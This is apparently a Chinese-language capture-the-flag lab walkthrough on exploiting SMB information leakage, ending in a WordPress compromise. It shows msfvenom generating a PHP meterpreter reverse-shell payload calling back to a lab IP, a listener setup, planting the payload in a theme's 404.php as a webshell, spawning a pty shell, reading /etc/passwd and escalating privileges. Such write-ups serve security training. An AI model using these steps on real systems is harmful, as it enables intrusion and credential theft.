SMB信息泄露
SMB介绍
信息探测
基本操作与之前的一样,这里就不过多叙述了。
信息探测的方式有很多:
分析探测结果与之前的都类似,基本上分析以下nmap扫描出来的结果。
针对SMB协议弱点进行分析
针对上面的进行一下实际操作:
IPC我们没有权限查看这个就失败了,换一个扫描
换成share$:
我们get敏感文件之后,我们记得查看一下,并且记住里面出现的敏感信息:
之后我们在去找找其他的敏感信息:
查看所得到的敏感文件
我们在这里发现了用户名以及密码。
我们在之前的扫描结果中发现开放了很多服务,我们都可以使用这个用户名以及密码尝试登陆一下
mysql以及ssh都登陆失败了。
我们使用searchsploit也没有扫描到任何有价值的信息。
那接下来我们只能针对http服务下手了。
我们在dirb的结果中发现一些有价值的链接,打开看一下:
尝试使用之前的用户名以及密码登陆:
登陆成功!
针对HTTP协议弱点分析
我们需要制作一个webshell来上传上去,以来获取权限。
msfvenom -p php/meterpreter/reverse_tcp lhost = 192.168.56.104 lport = 4444 -f raw
复制粘贴一下(注意不要把注释符号也复制进去)
之后我们使用msfconsole
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
之后run一下:
上传Webshell
在网页中找到对应的上传位置:
找到404的位置
我们新打开一个网页输入以下地址(主题以及其余内容根据自己情况更改)
http://192.168.56.102/wordpress/wp-content/themes/twentyfifteen/404.php
之后我们打开之前run 的终端我们会发现它返回了对应的结果:
执行shell
查找flag信息
先优化终端,和之前的操作一样:
python -c "import pty;pty.spawn('/bin/bash')"
之后查找用户名cat /etc/passwd这里存有用户名:
我们发现用户名是:togie
密码这可能是我们最开始找到的那个敏感信息:12345(尝试一下)
尝试提权:
提权成功!!!
最后我们查找flag就可以了!
总结
搞定!!!